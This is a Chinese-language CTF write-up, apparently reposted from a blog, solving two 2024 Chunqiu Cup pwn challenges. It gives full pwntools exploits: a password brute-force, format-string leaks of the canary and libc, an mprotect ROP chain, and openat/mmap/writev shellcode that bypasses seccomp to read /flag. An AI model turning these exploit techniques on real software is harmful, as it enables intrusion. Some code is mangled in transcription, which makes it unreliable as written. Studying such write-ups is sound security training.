1. SavethePrincess
保护全开,给了libc和libseccomp,而且RUNPATH指定了根目录。
主要有两个函数,先看magic(),似乎想让你爆破密码,爆破之后,有个read的小溢出。
找找love从哪儿来的。init()初始化时随机的,而且根据生成的范围,仅小写字母。
gdb跟进去看一眼。
那就要爆破26^8次,好像是个天文数字啊。但buf是10字节,比dest多了2字节。为什么非得多2字节呢?这个即使动态调试也很难明白问题出在哪儿,但可以看buf和i的相对距离。
rsp+0xD和rsp+0x17刚好是10字节差距,也就是说printf(“you password is %sn,nononno!!!n”, buf);是为了泄露i的。
我们在gdb中输入正确前两位密码试一试。
可以看到i为0x2,刚好粘在buf后面被打印出来。
这样爆破的数量级就变成了26*8,至此可以写出爆破密码的脚本。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./SavethePrincess","b *mainnc")
sh = process("./SavethePrincess")
elf = ELF("./SavethePrincess")
libc = ELF("./libc.so.6")
def replace_char_at_index(s, index, new_char):
return s[:index] + new_char + s[index+1:]
def magic(passwd):
sh.sendlineafter(">","1")
sh.sendlineafter("password:",passwd)
return sh.recvuntil("!!!")
passwd = 'A'*10;
for i in range(0, 8):
for ii in range(ord('a'), ord('z') + 1):
passwd = replace_char_at_index(passwd, i, chr(ii))
nononno = magic(passwd)
if "successfully" in nononno:
print(passwd)
break
if chr(i+1) in nononno:
print("ok!")
print(passwd)
break
passwd = passwd[0:8]
print(passwd)
sh.interactive()
爆破成功,gdb进去看小溢出。
溢出不到ret,只能溢出到Canary,那么思路就是利用后面的printf打印出Canary,为后续做准备,偏移量是19。
但试了下这里是不行的,因为Canary是0x00开头,溢出19个字节只打印dest,溢出20个字节则修改了Canary,程序退出。
所以其实不是栈溢出,而是字符串格式化printf(dest)。如下图,%9$p成功打印出Canary。
泄露libc呢?栈上找到一个离__libc_start_main很近的地址。
这样Canary和libc就搞定了,如果有必要还可以泄露text或者stack地址。现在可以看另外一个函数Challenge()了。
存在沙箱的一个栈溢出,这里虽然沙箱在栈布局之后才触发,但真正ret到返回函数执行恶意操作的时候,已经开启沙箱了。
看看禁了哪些函数。
可以看到,禁用了execve,orw中的or。而且如果想重复利用这个栈溢出还不能跳转到main,因为__isoc99_scanf也会命中其中的某条规则 ,导致沙箱报警。
先找or的替代品。
https://xz.aliyun.com/t/15164
基本可以锁定mmap和openat。但是orw可以纯用ROP链打吗?一般来说是可以的,但由于mmap需要的参数过多,pop r8/r9都没有找到链。
所以必须得想别的办法,正解是使用mprotect给栈执行权限,在栈上执行shellcode。注意mprotect第一个参数需要页对齐,也就是必须是0x1000的倍数。
int mprotect(void * addr, size_t len, int prot)
mprotect(stack_base, 0x10000, 0x7)
写出如下poc。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./SavethePrincess","b *0x5555555556c5nc")
#sh = process("./SavethePrincess")
elf = ELF("./SavethePrincess")
libc = ELF("./libc.so.6")
def replace_char_at_index(s, index, new_char):
return s[:index] + new_char + s[index+1:]
def magic(passwd):
sh.sendlineafter(">","1")
sh.sendlineafter("password:",passwd)
return sh.recvuntil("!!!")
passwd = 'A'*10;
for i in range(0, 8):
for ii in range(ord('a'), ord('z') + 1):
passwd = replace_char_at_index(passwd, i, chr(ii))
nononno = magic(passwd)
if "successfully" in nononno:
print(passwd)
break
if chr(i+1) in nononno:
print("ok!")
print(passwd)
break
passwd = passwd[0:8]
print(passwd)
sh.sendlineafter(">","1")
sh.sendlineafter("password:",passwd)
sh.sendafter("power!!!","%9$p-%10$p-%15$p")
ret = sh.recvuntil("1.")
canary = int(ret[3:19],16)
print('canary: '+hex(canary))
stack = int(ret[22:34],16)
print('stack: '+hex(stack))
stack_base = int(ret[22:31]+'000',16)
print('stack_base: '+hex(stack_base))
__libc_start_main_48 = int(ret[37:49],16)
libc_base = __libc_start_main_48 + 48 - libc.sym['__libc_start_main']
print('libc_base: '+hex(libc_base))
mprotect_addr = libc_base + libc.sym['mprotect']
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_r12_ret = libc_base + 0x11f2e7
payload = "A" * 56 + p64(canary) + p64(stack) + p64(pop_rdi_ret) + p64(stack_base) + p64(pop_rsi_ret) + p64(0x10000) + p64(pop_rdx_r12_ret) + p64(0x7) + p64(0x0) + p64(mprotect_addr)
sh.sendlineafter(">","2")
sh.sendlineafter("dragon!!",payload)
sh.interactive()
布局完美,执行完后就会看到整个栈可读可写可执行
然后计算一下存放shellcode的栈地址离我们泄露的栈地址有多远。
完善payload
payload = "A" * 56 + p64(canary) + p64(stack)
payload += p64(pop_rdi_ret) + p64(stack_base) + p64(pop_rsi_ret) + p64(0x10000) + p64(pop_rdx_r12_ret) + p64(0x7) + p64(0x0) + p64(mprotect_addr)
payload += p64(stack+48)
payload += "x90" * 8
成功在栈上执行shellcode,最后将NOP换成真正的shellcode即可。
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit
在x64上使用syscall(系统调用)是这样的。
eax = 0x9; mmap的系统调用号
rdi = 0x10000; 第一个参数
rsi = 0x1000; 第二个参数
rdx = 0x7; 第三个参数
r10 = 0x12; 第四个参数
r8 = 0x3; 第五个参数
r9 = 0x0; 第六个参数
抄别人wp的shellcode得出最终exp。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./SavethePrincess","b *0x5555555556c5nc")
sh = process("./SavethePrincess")
elf = ELF("./SavethePrincess")
libc = ELF("./libc.so.6")
def replace_char_at_index(s, index, new_char):
return s[:index] + new_char + s[index+1:]
def magic(passwd):
sh.sendlineafter(">","1")
sh.sendlineafter("password:",passwd)
return sh.recvuntil("!!!")
passwd = 'A'*10;
for i in range(0, 8):
for ii in range(ord('a'), ord('z') + 1):
passwd = replace_char_at_index(passwd, i, chr(ii))
nononno = magic(passwd)
if "successfully" in nononno:
print(passwd)
break
if chr(i+1) in nononno:
print("ok!")
print(passwd)
break
passwd = passwd[0:8]
print(passwd)
sh.sendlineafter(">","1")
sh.sendlineafter("password:",passwd)
sh.sendafter("power!!!","%9$p-%10$p-%15$p")
ret = sh.recvuntil("1.")
canary = int(ret[3:19],16)
print('canary: '+hex(canary))
stack = int(ret[22:34],16)
print('stack: '+hex(stack))
stack_base = int(ret[22:31]+'000',16)
print('stack_base: '+hex(stack_base))
__libc_start_main_48 = int(ret[37:49],16)
libc_base = __libc_start_main_48 + 48 - libc.sym['__libc_start_main']
print('libc_base: '+hex(libc_base))
mprotect_addr = libc_base + libc.sym['mprotect']
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_r12_ret = libc_base + 0x11f2e7
shellcode ='''
mov rax, 0x67616c662f
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall
mov rdi, 1
mov rsi,0x10000
mov rdx,0x40
push SYS_write
pop rax
syscall
'''
payload = "A" * 56 + p64(canary) + p64(stack)
payload += p64(pop_rdi_ret) + p64(stack_base) + p64(pop_rsi_ret) + p64(0x10000) + p64(pop_rdx_r12_ret) + p64(0x7) + p64(0x0) + p64(mprotect_addr)
payload += p64(stack+48)
payload += asm(shellcode)
sh.sendlineafter(">","2")
sh.sendlineafter("dragon!!",payload)
sh.interactive()
2. Shuffled_Execution
mmap在0x1337000申请一块0x1000大小可读可写可执行的内存。
系统调用read(系统调用号为0),往0x1337000写shellcode
获得s长度v6,然后把s和v6放进shuffle()洗牌。
接着sandbox()开启沙箱,entrance()清空全部寄存器并jmp 0x1337000。
先看沙箱禁了什么。
execve + orw。那么替代品就是openat,mmap,writev。
写shellcode之前先要绕过shuffle(),非常简单,因为长度v6是用strlen的,因此只需要用个00截断即可。
因此shellcode第一行放个00开头或者00第二位的汇编。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
sh = gdb.debug("./Shuffled_Execution","b *0x555555555560nc")
#sh = process("./Shuffled_Execution")
elf = ELF("./Shuffled_Execution")
payload = "xBEx00x00x00x00"+"x90"*8
sh.sendlineafter("entrance.", payload)
sh.interactive()
那么接下来就是写orw,因为entrance()把esp也清空了,我们可以拿0x1337000+0x800当栈。
然后writev的用法也有点不同。
ssize_t writev( int fd, const struct iovec *iov, int cnt );
struct iovec {
char *iov_base; /*基本地址指针,指向缓冲区*/
size_t iov_len; /*指定缓冲区长度*/
};
之前的SavethePrincess用mmap是在0x10000地址里存储flag内容。因此openat和mmap基本不变,只新增一行mov esp, 0x1337800。
但writev的第二个参数必须是一个结构体的地址,结构体存储着一个指针,一个长度,我们可以这样写。
shellcode ='''
mov esp, 0x1337800
mov rax, 0x67616c662f
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall
'''
shellcode +='''
mov rdi, 1
mov rsi,0x1337008
mov rdx, 1
push SYS_writev
pop rax
syscall
'''
payload = "xBEx00x00x00x00x90x90x90"
payload += p64(0x10000)
payload += p64(0x1000)
payload += asm(shellcode)
这样等于p64(0x10000)+ p64(0x1000)手动构造了一个结构体。它们会被当成汇编执行,虽然不影响结果,但最好还是放shellcode后面。
shellcode +='''
mov rdi, 1
mov rsi,0x1337200
mov rdx, 1
push SYS_writev
pop rax
syscall
'''
print(len(asm(shellcode)))
payload = "xBEx00x00x00x00x90x90x90"
payload += asm(shellcode)
payload = payload.ljust(0x200,"x00")
payload += p64(0x10000)
payload += p64(0x1000)
当然,也可以不要esp,不用pop/push,且用汇编构造结构体的写法,以下是我自己写的汇编。
from pwn import *
'debug' =
'amd64' =
sh = gdb.debug("./Shuffled_Execution","b *0x555555555560nc")
#sh = process("./Shuffled_Execution")
elf = ELF("./Shuffled_Execution")
shellcode ='''
mov esi, 0 #BE 00 00 00 00,00截断
mov rdi, 0x1337500 #在0x1337500写入/flag
mov rax, 0x67616c662f
mov [rdi], rax
mov rdi, 0x1337510 #在0x1337510写入0x1338000,作为writev所需结构体
mov rax, 0x1338000
mov [rdi], rax
mov rdi, 0x1337518 #在0x1337518写入0x100,作为writev所需结构体
mov rax, 0x100
mov [rdi], rax
mov rax, 257 #openat系统调用号
xor rdi, rdi #依次设置参数
sub rdi, 100
mov rsi, 0x1337500
xor rdx, rdx
xor r10, r10
syscall
#mmap系统调用号
mov rdi, 0x1338000 #依次设置参数
mov rsi, 0x100
mov rdx, 7
mov r10, 0x12
mov r8, 3
xor r9, r9
syscall
mov rax, 20 #writev系统调用号
mov rdi, 1 #依次设置参数
mov rsi, 0x1337510
mov rdx, 1
syscall
'''
payload = asm(shellcode)
sh.sendlineafter("entrance.",payload)
sh.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题